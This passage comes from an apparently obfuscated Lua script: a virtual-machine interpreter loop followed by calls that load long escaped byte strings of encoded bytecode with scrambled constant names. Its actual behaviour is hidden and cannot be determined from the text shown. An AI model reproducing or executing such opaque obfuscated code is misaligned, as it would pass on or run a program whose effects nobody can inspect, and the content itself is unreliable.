while(d+411==1234)and((e==122.15757076734182)and(c==336.82164936401017)and(f[633]==false)and(f[341]==(b[3687273]))and(f[180]==(b[7740769])))do f[180]=(b[7675538])do if(a==133)then o=o+1;local a=l()p[(b[5438370])][o]=h(a)end end ;e=67.28453806091493;f[633]=false;f[341]=(b[7461016])c=389.8552333146105;d=393;break end end;if(d*50==25050)then do while((e==489.71399242243064)and(c==236.38959691222206)and(f[633]==false)and(f[341]==(b[4129576]))and(f[180]==(b[7880653])))and(d+250==751)do f[180]=(b[7740769])f[633]=false;c=336.82164936401017;e=122.15757076734182;f[341]=(b[3687273])do if(a==117)then o=o+1;p[(b[5438370])][o]=g()end end ;d=823;break end end end;do if(d+219==658)and((e==252.2402484188213)and(c==172.2020435479825)and(f[633]==false)and(f[341]==(b[7448503]))and(f[180]==(b[5212208])))then break end end ;do if(d+89==267)and((e==502.4361528526908)and(c==272.7212716449098)and(f[633]==false)and(f[341]==(b[4022297]))and(f[180]==(b[4402315])))then d=501;e=489.71399242243064;do if(a==106)then o=o+1;p[(b[5438370])][o]=true end end ;f[633]=false;f[341]=(b[4129576])f[180]=(b[7880653])c=236.38959691222206 end end ;do if(d*5==255)then do while(d+25==76)and((e==88.54789838486288)and(c==386.64811333990673))do f[633]=false;d=0;e=391.1570969027352;f[341]=(b[9030967])f[180]=(b[4452893])c=232.53228771714953;break end end end end ;do while(d+154==462)and((e==54.26587946622258)and(c==163.95865969590162)and(f[633]==false)and(f[341]==(b[6334898]))and(f[180]==(b[5511964])))do c=386.64811333990673;e=88.54789838486288;d=51;break end end until(false)end end end end;do if(r==1)then local c=l()for c=0,c-1 do local c=f(h())do if c==f(e)then n=n+1;local c={}local d=d()local a,e,g,j=a()local f=f(h())c[4302]=a;c[(b[8971289])]=d;c[(b[9872999])]=i()c[1952]=e;c[(b[3976592])]=j;c[(b[8887677])]=f;c[-3467]=g;p[(b[2148924])][n]=c;if not j then local a=l()q[a]=d end end end ;do if c==f(m)then n=n+1;local c={}local d=f(h())local d=q[d]local a,e,g=a()local f=f(h())c[4302]=a;c[(b[9872999])]=i()c[(b[8971289])]=d;c[(b[8887677])]=f;c[1952]=e;c[-3467]=g;p[(b[2148924])][n]=c end end end end end ;if(r==207)then local a=l()for a=0,a-1 do k=k+1;h()local a=l()p[(b[8376175])][k]=c(h(a))end end;do if(r==36)then break end end end;return p end;a(c("\0\1\222\18\0\0\0\203\8\0\0\0\113\69\84\109\82\69\127\0\203\8\0\0\0\81\69\68\107\89\90\114\0\203\5\0\0\0\121\79\86\123\0\203\6\0\0\0\101\67\86\115\71\0\203\7\0\0\0\102\69\91\122\72\65\0\203\6\0\0\0\53\66\78\107\78\0\203\7\0\0\0\93\69\86\115\95\93\0\203\8\0\0\0\84\78\94\114\74\65\110\0\203\6\0\0\0\112\82\69\112\89\0\203\7\0\0\0\70\67\69\118\91\65\0\203\3\0\0\0\116\67\0\203\6\0\0\0\53\66\78\107\78\0\203\7\0\0\0\102\73\77\122\68\83\0\203\4\0\0\0\92\83\118\0\203\10\0\0\0\74\127\84\112\69\70\127\75\96\0\203\10\0\0\0\74\127\94\113\88\65\121\75\96\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\5\0\0\0\91\65\90\122\0\1\18\0\0\0\0\146\23\237\0\113\0\229\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\192\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\168\1\38\0\1\0\0\0\0\0\13\1\0\3\75\0\64\0\0\4\0\0\0\0\88\0\183\0\3\0\9\0\0\0\1\193\64\0\0\0\5\0\0\0\0\235\2\38\0\1\0\3\0\0\0\2\0\0\0\92\128\128\1\0\6\0\0\0\0\7\2\38\0\1\0\0\0\0\1\212\0\90\0\0\0\0\7\0\0\0\0\203\0\237\0\0\0\8\0\2\0\0\22\0\2\128\0\8\0\0\0\0\118\37\38\0\1\0\0\0\0\0\17\1\0\3\70\128\64\0\0\9\0\0\0\0\253\11\38\1\212\0\1\0\0\0\7\1\0\3\87\192\192\0\0\10\0\0\0\1\8\237\0\0\0\5\0\2\0\0\22\64\1\128\0\0\60\1\183\0\1\0\10\0\0\0\1\69\0\1\0\0\11\0\0\0\1\9\38\0\1\0\1\0\0\0\17\1\0\3\70\128\192\0\0\1\10\38\1\212\0\1\0\0\0\6\1\0\3\87\64\193\0\0\1\8\237\0\0\0\1\0\2\0\0\22\64\0\128\0\1\4\38\0\1\0\0\0\0\0\1\1\0\3\75\128\65\0\0\0\228\8\38\0\1\0\2\0\0\0\1\0\0\0\92\64\0\1\0\12\0\0\0\0\225\5\38\0\3\0\0\0\0\0\0\0\0\0\30\0\128\0\0\13\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\44\0\0\0\203\7\0\0\0\102\73\77\122\68\83\0\203\7\0\0\0\102\84\69\118\69\82\0\95\203\5\0\0\0\118\72\86\109\0\203\5\0\0\0\114\83\66\125\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\4\0\0\0\123\69\64\0\203\7\0\0\0\116\83\68\122\89\65\0\106\203\11\0\0\0\71\85\89\76\78\71\125\125\92\119\0\203\10\0\0\0\74\127\84\112\69\70\127\75\96\0\203\8\0\0\0\113\69\84\109\82\69\127\0\203\8\0\0\0\70\84\82\111\91\80\111\0\203\7\0\0\0\116\83\68\122\89\65\0\203\5\0\0\0\98\65\94\107\0\203\10\0\0\0\118\79\89\108\95\84\101\96\76\0\203\7\0\0\0\81\69\84\112\79\80\0\203\8\0\0\0\65\79\80\120\71\80\111\0\203\11\0\0\0\82\69\67\76\78\71\125\125\92\119\0\203\5\0\0\0\114\65\90\122\0\203\17\0\0\0\93\85\90\126\69\90\98\112\109\125\96\75\110\65\110\86\0\203\15\0\0\0\125\69\69\109\95\65\43\125\76\50\124\90\70\89\0\203\7\0\0\0\116\83\68\122\89\65\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\14\0\0\0\88\79\65\122\111\92\121\113\92\102\102\80\80\0\203\4\0\0\0\94\69\78\0\203\5\0\0\0\97\89\71\122\0\203\9\0\0\0\93\85\90\126\69\90\98\112\0\203\7\0\0\0\103\65\64\108\78\65\0\203\13\0\0\0\114\69\67\114\78\65\106\96\94\112\99\90\0\203\12\0\0\0\89\79\84\126\71\101\103\117\70\119\125\0\203\6\0\0\0\70\80\82\122\79\0\203\7\0\0\0\114\115\94\101\78\65\0\203\7\0\0\0\86\102\69\126\70\80\0\203\16\0\0\0\114\69\67\109\74\66\102\113\75\115\123\94\92\76\121\0\203\8\0\0\0\114\98\94\107\88\6\57\0\203\8\0\0\0\80\78\86\125\71\80\111\0\203\7\0\0\0\116\83\68\122\89\65\0\203\8\0\0\0\86\102\100\111\78\80\111\0\203\10\0\0\0\74\127\94\113\88\65\121\75\96\0\203\6\0\0\0\121\79\64\122\89\0\203\8\0\0\0\69\76\86\102\78\71\120\0\203\5\0\0\0\91\65\90\122\0\203\6\0\0\0\97\65\85\115\78\0\1\63\0\0\0\0\146\23\237\0\217\0\201\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\107\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\38\1\0\3\70\0\192\0\0\5\0\0\0\1\5\38\0\1\0\1\0\0\0\25\1\0\3\70\64\192\0\0\0\168\1\38\0\1\0\1\0\0\0\40\1\0\3\75\128\192\0\0\6\0\0\0\0\235\2\38\0\1\0\2\0\0\0\2\0\0\0\92\128\0\1\0\7\0\0\0\0\87\2\38\1\224\0\0\0\0\0\1\0\0\0\23\64\0\0\0\8\0\0\0\0\203\0\237\0\0\0\51\0\2\0\0\22\192\12\128\0\9\0\0\0\1\4\38\0\2\0\0\0\0\0\0\0\0\0\132\0\0\0\0\1\5\38\0\2\0\2\0\0\0\38\1\0\3\134\0\64\1\0\1\5\38\0\2\0\2\0\0\0\17\1\0\3\134\192\64\1\0\0\7\2\38\0\2\0\0\0\0\1\212\0\154\0\0\0\0\10\0\0\0\1\9\237\0\0\0\46\0\2\0\0\22\128\11\128\0\1\4\38\0\2\0\0\0\0\0\0\0\0\0\132\0\0\0\0\1\5\38\0\2\0\2\0\0\0\38\1\0\3\134\0\64\1\0\1\4\38\0\3\0\0\0\0\0\0\0\0\0\196\0\0\0\0\1\5\38\0\3\0\3\0\0\0\38\1\0\3\198\0\192\1\0\1\5\38\0\3\0\3\0\0\0\36\1\0\3\198\0\193\1\0\0\53\3\38\0\3\0\3\0\0\0\0\0\0\0\211\0\128\1\0\11\0\0\0\0\31\1\38\0\2\0\36\1\0\0\3\0\0\2\137\192\0\130\0\12\0\0\0\1\4\38\0\2\0\0\0\0\0\0\0\0\0\132\0\0\0\0\1\5\38\0\2\0\2\0\0\0\38\1\0\3\134\0\64\1\0\1\5\38\0\2\0\2\0\0\0\36\1\0\3\134\0\65\1\0\0\253\11\38\1\224\0\2\0\0\0\8\1\0\3\23\64\65\1\0\13\0\0\0\1\9\237\0\0\0\34\0\2\0\0\22\128\8\128\0\0\60\1\183\0\2\0\19\0\0\0\1\133\128\1\0\0\14\0\0\0\1\5\38\0\2\0\2\0\0\0\41\1\0\3\134\192\65\1\0\1\5\38\0\2\0\2\0\0\0\30\1\0\3\134\0\66\1\0\1\5\38\0\2\0\2\0\0\0\5\1\0\3\134\64\66\1\0\1\5\38\0\2\0\2\0\0\0\20\1\0\3\134\128\66\1\0\1\14\183\0\3\0\19\0\0\0\1\197\128\1\0\0\1\5\38\0\3\0\3\0\0\0\41\1\0\3\198\192\193\1\0\1\5\38\0\3\0\3\0\0\0\30\1\0\3\198\0\194\1\0\1\5\38\0\3\0\3\0\0\0\5\1\0\3\198\64\194\1\0\1\5\38\0\3\0\3\0\0\0\20\1\0\3\198\128\194\1\0\1\5\38\0\3\0\3\0\0\0\33\1\0\3\198\192\194\1\0\1\14\183\0\4\0\19\0\0\0\1\5\129\1\0\0\1\5\38\0\4\0\4\0\0\0\41\1\0\3\6\193\65\2\0\1\5\38\0\4\0\4\0\0\0\30\1\0\3\6\1\66\2\0\1\5\38\0\4\0\4\0\0\0\5\1\0\3\6\65\66\2\0\1\5\38\0\4\0\4\0\0\0\27\1\0\3\6\1\67\2\0\1\5\38\0\4\0\4\0\0\0\24\1\0\3\6\65\67\2\0\1\4\38\0\5\0\0\0\0\0\0\0\0\0\68\1\0\0\0\1\5\38\0\5\0\5\0\0\0\38\1\0\3\70\1\192\2\0\1\5\38\0\5\0\5\0\0\0\31\1\0\3\70\129\195\2\0\0\46\3\38\0\4\0\4\0\0\0\5\0\0\0\14\65\1\2\0\15\0\0\0\0\177\0\38\0\3\0\3\0\0\0\4\0\0\0\204\0\129\1\0\16\0\0\0\1\12\38\0\2\0\33\1\0\0\3\0\0\2\137\192\128\133\0\1\14\183\0\2\0\19\0\0\0\1\133\128\1\0\0\1\6\38\0\2\0\2\0\0\0\18\1\0\3\139\192\67\1\0\0\88\0\183\0\4\0\9\0\0\0\1\1\1\4\0\0\17\0\0\0\1\7\38\0\2\0\3\0\0\0\2\0\0\0\156\128\128\1\0\1\5\38\0\2\0\2\0\0\0\12\1\0\3\134\64\68\1\0\1\6\38\0\2\0\2\0\0\0\14\1\0\3\139\128\68\1\0\0\228\8\38\0\2\0\2\0\0\0\22\0\0\0\156\64\0\1\0\18\0\0\0\1\4\38\0\2\0\0\0\0\0\0\0\0\0\132\0\0\0\0\1\5\38\0\2\0\2\0\0\0\38\1\0\3\134\0\64\1\0\1\5\38\0\2\0\2\0\0\0\36\1\0\3\134\0\65\1\0\1\13\38\1\224\0\2\0\0\0\2\1\0\3\23\192\68\1\0\1\9\237\0\0\0\220\255\1\0\0\22\0\247\127\0\0\225\5\38\0\1\0\13\0\0\0\0\0\0\0\30\0\128\0\0\19\0\0\0\207\0\0\0\0\36"))a(c("\5\0\222\32\0\0\0\203\2\0\0\0\76\0\203\7\0\0\0\116\83\68\122\89\65\0\203\11\0\0\0\121\79\86\123\88\65\121\125\81\117\0\203\5\0\0\0\114\83\66\125\0\203\10\0\0\0\74\127\94\113\88\65\121\75\96\0\203\8\0\0\0\67\73\68\118\73\89\110\0\117\0\0\0\0\0\0\0\64\203\16\0\0\0\114\69\67\109\74\66\102\113\75\115\123\94\92\76\121\0\203\9\0\0\0\97\79\68\107\89\92\101\115\0\203\7\0\0\0\114\77\86\107\72\93\0\95\203\7\0\0\0\71\65\83\118\94\70\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\4\0\0\0\102\89\89\0\203\8\0\0\0\84\73\90\115\68\86\96\0\203\4\0\0\0\123\69\64\0\203\5\0\0\0\114\105\89\107\0\106\203\8\0\0\0\83\111\97\76\66\79\110\0\203\5\0\0\0\118\72\86\109\0\203\9\0\0\0\69\79\68\118\95\92\100\122\0\203\20\0\0\0\70\89\89\126\91\70\110\52\103\87\97\31\105\105\114\108\124\81\123\0\203\5\0\0\0\114\65\90\122\0\203\11\0\0\0\121\79\86\123\88\65\121\125\81\117\0\203\8\0\0\0\67\69\84\107\68\71\57\0\203\2\0\0\0\77\0\203\7\0\0\0\97\89\71\122\68\83\0\203\11\0\0\0\83\111\97\90\69\84\105\120\90\118\0\203\8\0\0\0\83\111\97\76\67\90\124\0\203\7\0\0\0\81\69\84\112\79\80\0\203\7\0\0\0\114\98\94\107\88\13\0\203\16\0\0\0\114\69\67\109\74\66\102\113\75\115\123\94\92\76\121\0\1\50\0\0\0\0\146\23\237\0\220\0\71\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\61\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\0\0\0\0\0\0\0\0\0\0\4\0\0\0\0\4\0\0\0\0\118\37\38\0\0\0\0\0\0\0\14\1\0\3\6\0\64\0\0\5\0\0\0\1\5\38\0\0\0\0\0\0\0\27\1\0\3\6\64\64\0\0\0\253\11\38\1\224\0\0\0\0\0\17\1\0\3\23\128\64\0\0\6\0\0\0\0\203\0\237\0\0\0\35\0\2\0\0\22\192\8\128\0\7\0\0\0\1\4\38\0\0\0\0\0\0\0\0\0\0\0\4\0\0\0\0\1\5\38\0\0\0\0\0\0\0\14\1\0\3\6\0\64\0\0\1\5\38\0\0\0\0\0\0\0\28\1\0\3\6\192\64\0\0\1\6\38\1\224\0\0\0\0\0\17\1\0\3\23\128\64\0\0\1\7\237\0\0\0\30\0\2\0\0\22\128\7\128\0\1\4\38\0\0\0\1\0\0\0\0\0\0\0\4\0\128\0\0\0\7\2\38\0\0\0\0\0\0\1\212\0\26\0\0\0\0\8\0\0\0\1\7\237\0\0\0\32\0\2\0\0\22\0\8\128\0\1\4\38\0\0\0\1\0\0\0\0\0\0\0\4\0\128\0\0\1\4\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\1\5\38\0\1\0\1\0\0\0\14\1\0\3\70\0\192\0\0\1\5\38\0\1\0\1\0\0\0\18\1\0\3\70\64\193\0\0\0\46\3\38\0\1\0\1\0\0\0\6\1\0\3\78\128\193\0\0\9\0\0\0\0\31\1\38\0\0\0\11\1\0\0\1\0\0\2\9\64\0\130\0\10\0\0\0\1\4\38\0\0\0\1\0\0\0\0\0\0\0\4\0\128\0\0\1\4\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\1\5\38\0\1\0\1\0\0\0\14\1\0\3\70\0\192\0\0\1\5\38\0\1\0\1\0\0\0\28\1\0\3\70\192\192\0\0\1\10\38\0\0\0\5\1\0\0\1\0\0\2\9\64\128\131\0\1\4\38\0\0\0\1\0\0\0\0\0\0\0\4\0\128\0\0\0\60\1\183\0\1\0\24\0\0\0\1\69\64\2\0\0\11\0\0\0\1\5\38\0\1\0\1\0\0\0\15\1\0\3\70\128\194\0\0\1\4\38\0\2\0\2\0\0\0\0\0\0\0\132\0\0\1\0\1\5\38\0\2\0\2\0\0\0\25\1\0\3\134\192\66\1\0\1\4\38\0\3\0\2\0\0\0\0\0\0\0\196\0\0\1\0\1\5\38\0\3\0\3\0\0\0\0\1\0\3\198\0\195\1\0\1\4\38\0\4\0\3\0\0\0\0\0\0\0\4\1\128\1\0\1\4\38\0\5\0\4\0\0\0\0\0\0\0\68\1\0\2\0\0\235\2\38\0\4\0\2\0\0\0\2\0\0\0\28\129\0\1\0\12\0\0\0\1\5\38\0\4\0\4\0\0\0\0\1\0\3\6\1\67\2\0\0\177\0\38\0\3\0\3\0\0\0\4\0\0\0\204\0\129\1\0\13\0\0\0\1\12\38\0\1\0\3\0\0\0\2\0\0\0\92\128\128\1\0\1\10\38\0\0\0\20\1\0\0\1\0\0\2\9\64\0\132\0\1\4\38\0\0\0\1\0\0\0\0\0\0\0\4\0\128\0\0\0\220\3\38\0\0\0\2\0\0\0\0\0\0\0\30\0\0\1\0\14\0\0\0\1\7\237\0\0\0\4\0\2\0\0\22\0\1\128\0\1\4\38\0\0\0\0\0\0\0\0\0\0\0\4\0\0\0\0\1\5\38\0\0\0\0\0\0\0\14\1\0\3\6\0\64\0\0\1\10\38\0\0\0\28\1\0\0\10\1\0\4\9\64\195\129\0\1\4\38\0\0\0\1\0\0\0\0\0\0\0\4\0\128\0\0\1\10\38\0\0\0\5\1\0\0\10\1\0\4\9\64\195\131\0\0\225\5\38\0\14\0\23\0\0\0\0\0\0\0\30\0\128\0\0\15\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\6\0\0\0\203\21\0\0\0\66\79\69\115\79\97\100\66\86\119\120\79\81\82\104\114\122\86\114\83\0\203\8\0\0\0\113\69\84\109\82\69\127\0\203\8\0\0\0\114\98\94\107\88\3\63\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\7\0\0\0\116\83\68\122\89\65\0\203\7\0\0\0\116\83\68\122\89\65\0\1\9\0\0\0\0\146\23\237\0\163\0\54\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\42\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\168\1\38\0\1\0\1\0\0\0\0\1\0\3\75\0\192\0\0\5\0\0\0\0\33\8\38\0\0\0\3\0\0\0\0\0\0\0\192\0\0\0\0\6\0\0\0\0\74\2\38\0\1\0\3\0\0\0\0\0\0\0\93\0\128\1\0\7\0\0\0\0\140\29\38\0\1\0\17\0\0\0\0\0\0\0\94\0\0\0\0\8\0\0\0\0\225\5\38\0\19\0\8\0\0\0\0\0\0\0\30\0\128\0\0\9\0\0\0\207\0\0\0\0\36"))a(c("\1\1\222\6\0\0\0\203\7\0\0\0\116\83\68\122\89\65\0\203\20\0\0\0\70\89\89\126\91\70\110\52\103\87\97\31\105\105\114\108\124\81\123\0\203\4\0\0\0\102\89\89\0\203\8\0\0\0\113\69\84\109\82\69\127\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\19\0\0\0\66\79\69\115\79\97\100\71\92\96\106\90\80\112\115\75\123\75\0\1\10\0\0\0\0\146\23\237\0\175\0\230\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\106\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\143\2\38\0\1\0\0\0\0\0\0\0\0\0\68\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\5\1\0\3\70\0\192\0\0\5\0\0\0\1\4\38\0\2\0\0\0\0\0\0\0\0\0\132\0\0\0\0\0\33\8\38\0\0\0\3\0\0\0\0\0\0\0\192\0\0\0\0\6\0\0\0\0\74\2\38\0\1\0\3\0\0\0\0\0\0\0\93\0\128\1\0\7\0\0\0\0\140\29\38\0\1\0\10\0\0\0\0\0\0\0\94\0\0\0\0\8\0\0\0\0\225\5\38\0\10\0\19\0\0\0\0\0\0\0\30\0\128\0\0\9\0\0\0\207\0\0\0\0\36"))a(c("\4\0\222\66\0\0\0\203\12\0\0\0\89\79\84\126\71\101\103\117\70\119\125\0\203\7\0\0\0\102\73\77\122\68\83\0\203\10\0\0\0\86\72\86\109\74\86\127\113\77\0\203\5\0\0\0\114\65\90\122\0\203\15\0\0\0\83\73\89\123\109\92\121\103\75\81\103\86\82\68\0\203\8\0\0\0\114\98\94\107\88\3\63\0\203\4\0\0\0\123\69\64\0\203\5\0\0\0\91\65\90\122\0\203\13\0\0\0\66\65\94\107\109\90\121\87\87\123\99\91\0\203\22\0\0\0\93\101\101\77\127\97\43\82\106\65\76\126\106\111\78\2\43\31\93\107\93\0\203\7\0\0\0\96\78\71\126\72\94\0\203\9\0\0\0\93\85\90\126\69\90\98\112\0\203\7\0\0\0\96\78\71\126\72\94\0\203\8\0\0\0\113\69\84\109\82\69\127\0\203\4\0\0\0\123\69\64\0\203\10\0\0\0\118\79\89\108\95\84\101\96\76\0\203\12\0\0\0\69\82\94\114\74\71\114\68\94\96\123\0\203\13\0\0\0\114\69\67\114\78\65\106\96\94\112\99\90\0\203\7\0\0\0\116\83\68\122\89\65\0\203\6\0\0\0\112\82\69\112\89\0\117\0\0\0\0\0\0\0\0\203\21\0\0\0\66\79\69\115\79\97\100\66\86\119\120\79\81\82\104\114\122\86\114\83\0\106\203\15\0\0\0\125\69\69\109\95\65\43\125\76\50\124\90\70\89\0\203\5\0\0\0\84\82\80\108\0\180\203\5\0\0\0\118\72\86\109\0\203\8\0\0\0\112\78\84\109\82\69\127\0\203\11\0\0\0\82\69\67\79\71\84\114\113\77\97\0\203\2\0\0\0\76\0\203\7\0\0\0\102\69\91\122\72\65\0\203\5\0\0\0\125\85\80\122\0\203\7\0\0\0\90\80\86\109\76\103\0\203\8\0\0\0\114\98\94\107\88\6\57\0\203\10\0\0\0\118\79\89\108\95\84\101\96\76\0\203\10\0\0\0\120\65\80\113\66\65\126\112\90\0\203\6\0\0\0\53\66\78\107\78\0\203\5\0\0\0\120\65\67\119\0\203\6\0\0\0\67\65\91\106\78\0\203\8\0\0\0\114\98\94\107\88\6\57\0\203\5\0\0\0\114\65\90\122\0\203\12\0\0\0\87\79\83\102\110\83\109\113\92\102\124\0\203\4\0\0\0\121\69\89\0\203\10\0\0\0\98\79\69\116\88\69\106\119\90\0\203\8\0\0\0\69\76\86\102\78\71\120\0\203\8\0\0\0\84\73\90\79\74\71\127\0\203\8\0\0\0\84\73\90\115\68\86\96\0\203\8\0\0\0\67\69\84\107\68\71\57\0\203\4\0\0\0\94\14\120\0\203\6\0\0\0\101\67\86\115\71\0\203\5\0\0\0\91\65\90\122\0\203\7\0\0\0\103\65\64\120\78\65\0\203\5\0\0\0\114\105\89\107\0\203\13\0\0\0\114\69\67\114\78\65\106\96\94\112\99\90\0\203\2\0\0\0\77\0\203\6\0\0\0\101\65\94\109\88\0\203\6\0\0\0\101\65\94\109\88\0\203\7\0\0\0\71\65\83\118\94\70\0\203\11\0\0\0\83\111\97\90\69\84\105\120\90\118\0\203\7\0\0\0\97\89\71\122\68\83\0\203\21\0\0\0\82\114\118\93\105\124\69\83\96\81\64\118\112\115\72\112\84\118\82\115\0\203\7\0\0\0\93\69\86\115\95\93\0\203\5\0\0\0\91\65\90\122\0\203\9\0\0\0\69\79\68\118\95\92\100\122\0\203\6\0\0\0\112\82\69\112\89\0\203\8\0\0\0\114\98\94\107\88\6\57\0\1\103\0\0\0\0\146\23\237\0\238\0\4\0\2\0\0\1\0\0\0\0\1\0\0\0\0\67\26\237\0\0\0\0\0\2\0\0\1\0\0\0\0\2\0\0\0\0\255\3\237\0\218\0\255\255\1\0\0\0\0\0\0\0\3\0\0\0\0\60\1\183\0\1\0\37\0\0\0\1\69\0\0\0\0\4\0\0\0\0\118\37\38\0\1\0\1\0\0\0\31\1\0\3\70\64\192\0\0\5\0\0\0\1\4\183\0\2\0\55\0\0\0\1\133\128\0\0\0\1\4\183\0\3\0\40\0\0\0\1\197\192\0\0\0\1\5\38\0\3\0\3\0\0\0\44\1\0\3\198\0\193\1\0\0\168\1\38\0\3\0\3\0\0\0\28\1\0\3\203\64\193\1\0\6\0\0\0\0\235\2\38\0\3\0\2\0\0\0\0\0\0\0\220\0\0\1\0\7\0\0\0\1\7\38\0\2\0\0\0\0\0\4\0\0\0\156\0\1\0\0\0\203\0\237\0\0\0\86\0\2\0\0\22\128\21\128\0\8\0\0\0\1\5\38\0\7\0\6\0\0\0\2\1\0\3\198\129\65\3\0\1\6\38\0\7\0\7\0\0\0\8\1\0\3\203\193\193\3\0\0\88\0\183\0\9\0\41\0\0\0\1\65\2\2\0\0\9\0\0\0\1\7\38\0\7\0\3\0\0\0\2\0\0\0\220\129\128\1\0\1\5\38\0\7\0\7\0\0\0\48\1\0\3\198\65\194\3\0\1\5\38\0\7\0\7\0\0\0\38\1\0\3\198\129\194\3\0\0\253\11\38\1\224\0\7\0\0\0\22\1\0\3\23\192\194\3\0\10\0\0\0\1\8\237\0\0\0\0\0\2\0\0\22\0\0\128\0\0\171\0\38\0\7\0\0\0\0\0\1\0\0\0\194\65\0\0\0\11\0\0\0\0\89\24\38\0\7\0\10\0\0\0\5\0\0\0\194\1\128\0\0\12\0\0\0\1\5\38\0\8\0\6\0\0\0\2\1\0\3\6\130\65\3\0\1\6\38\0\8\0\8\0\0\0\4\1\0\3\11\2\67\4\0\1\9\183\0\10\0\60\0\0\0\1\129\66\3\0\0\1\7\38\0\8\0\3\0\0\0\2\0\0\0\28\130\128\1\0\1\10\38\1\212\0\8\0\0\0\25\1\0\3\87\128\67\4\0\1\8\237\0\0\0\0\0\2\0\0\22\0\0\128\0\1\11\38\0\8\0\0\0\0\0\1\0\0\0\2\66\0\0\0\1\12\38\0\8\0\21\0\0\0\24\0\0\0\2\2\128\0\0\1\4\183\0\9\0\40\0\0\0\1\69\194\0\0\0\1\5\38\0\9\0\9\0\0\0\44\1\0\3\70\2\193\4\0\1\5\38\0\9\0\9\0\0\0\0\1\0\3\70\194\195\4\0\0\87\2\38\1\212\0\6\0\0\0\9\0\0\0\87\64\2\3\0\13\0\0\0\1\8\237\0\0\0\63\0\2\0\0\22\192\15\128\0\1\5\38\0\9\0\6\0\0\0\2\1\0\3\70\130\65\3\0\0\7\2\38\0\9\0\0\0\0\1\212\0\90\2\0\0\0\14\0\0\0\1\8\237\0\0\0\60\0\2\0\0\22\0\15\128\0\1\5\38\0\9\0\6\0\0\0\2\1\0\3\70\130\65\3\0\1\6\38\0\9\0\9\0\0\0\4\1\0\3\75\2\195\4\0\1\9\183\0\11\0\11\0\0\0\1\193\2\4\0\0\1\7\38\0\9\0\3\0\0\0\2\0\0\0\92\130\128\1\0\1\14\38\0\9\0\0\0\0\1\212\0\90\2\0\0\0\1\8\237\0\0\0\54\0\2\0\0\22\128\13\128\0\1\5\38\0\9\0\6\0\0\0\2\1\0\3\70\130\65\3\0\1\5\38\0\9\0\9\0\0\0\11\1\0\3\70\2\196\4\0\1\5\38\0\9\0\9\0\0\0\61\1\0\3\70\66\196\4\0\1\10\38\1\212\0\9\0\0\0\20\1\0\3\87\128\196\4\0\1\8\237\0\0\0\49\0\2\0\0\22\64\12\128\0\1\5\38\0\9\0\6\0\0\0\2\1\0\3\70\130\65\3\0\1\6\38\0\9\0\9\0\0\0\4\1\0\3\75\2\195\4\0\0\143\2\38\0\11\0\0\0\0\0\0\0\0\0\196\2\0\0\0\15\0\0\0\1\5\38\0\11\0\11\0\0\0\46\1\0\3\198\194\196\5\0\1\5\38\0\11\0\11\0\0\0\45\1\0\3\198\2\197\5\0\1\7\38\0\9\0\3\0\0\0\2\0\0\0\92\130\128\1\0\1\14\38\0\9\0\0\0\0\1\212\0\90\2\0\0\0\1\8\237\0\0\0\41\0\2\0\0\22\64\10\128\0\1\14\38\0\7\0\0\0\0\1\212\0\218\1\0\0\0\1\8\237\0\0\0\39\0\2\0\0\22\192\9\128\0\1\14\38\0\8\0\0\0\0\1\212\0\26\2\0\0\0\1\8\237\0\0\0\37\0\2\0\0\22\64\9\128\0\1\15\38\0\9\0\1\0\0\0\0\0\0\0\68\2\128\0\0\1\6\38\0\9\0\9\0\0\0\21\1\0\3\75\66\197\4\0\1\5\38\0\11\0\6\0\0\0\2\1\0\3\198\130\65\3\0\1\5\38\0\11\0\11\0\0\0\16\1\0\3\198\130\197\5\0\1\5\38\0\11\0\11\0\0\0\63\1\0\3\198\194\197\5\0\1\7\38\0\9\0\3\0\0\0\2\0\0\0\92\130\128\1\0\1\4\183\0\10\0\47\0\0\0\1\133\2\6\0\0\1\5\38\0\10\0\10\0\0\0\14\1\0\3\134\66\70\5\0\1\5\38\0\11\0\9\0\0\0\54\1\0\3\198\130\198\4\0\1\5\38\0\12\0\9\0\0\0\29\1\0\3\6\195\198\4\0\1\7\38\0\10\0\3\0\0\0\2\0\0\0\156\130\128\1\0\1\4\183\0\11\0\47\0\0\0\1\197\2\6\0\0\1\5\38\0\11\0\11\0\0\0\14\1\0\3\198\66\198\5\0\1\15\38\0\12\0\2\0\0\0\0\0\0\0\4\3\0\1\0\1\5\38\0\12\0\12\0\0\0\54\1\0\3\6\131\70\6\0\1\15\38\0\13\0\2\0\